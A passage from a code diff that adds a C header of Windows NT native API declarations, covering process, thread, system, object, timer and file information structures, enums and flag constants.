SEMAPHORE_INFORMATION_CLASS; +#endif + +#ifndef _SEMAPHORE_BASIC_INFORMATION +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; +#endif + +/* +** Semaphore END +*/ + +/* +** Processes START +*/ + +#ifndef KPRIORITY +typedef LONG KPRIORITY; +#endif + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + MaxProcessInfoClass = 62 +} PROCESSINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG SpareBits : 25; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +/* +** Processes END +*/ + +#ifndef _SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; +#endif + +/* +** Timer START +*/ + +// +// Timer APC routine definition. +// + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +#ifndef _TIMER_INFORMATION_CLASS +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; +#endif + +#ifndef _TIMER_BASIC_INFORMATION +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; +#endif + +/* +** Timer END +*/ + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// +// Valid values for the Attributes field +// + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#endif + + +/* +** Objects START +*/ + +#ifndef _OBJECT_INFORMATION_CLASS +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#endif + +#ifndef _OBJECT_BASIC_INFORMATION +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; +#endif + +#ifndef _OBJECT_NAME_INFORMATION +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; +#endif + +#ifndef _OBJECT_TYPE_INFORMATION +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; +#endif + +#ifndef _OBJECT_TYPES_INFORMATION +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; +#endif + +#ifndef _OBJECT_HANDLE_FLAG_INFORMATION +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; +#endif +/* +** Objects END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +#endif + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct 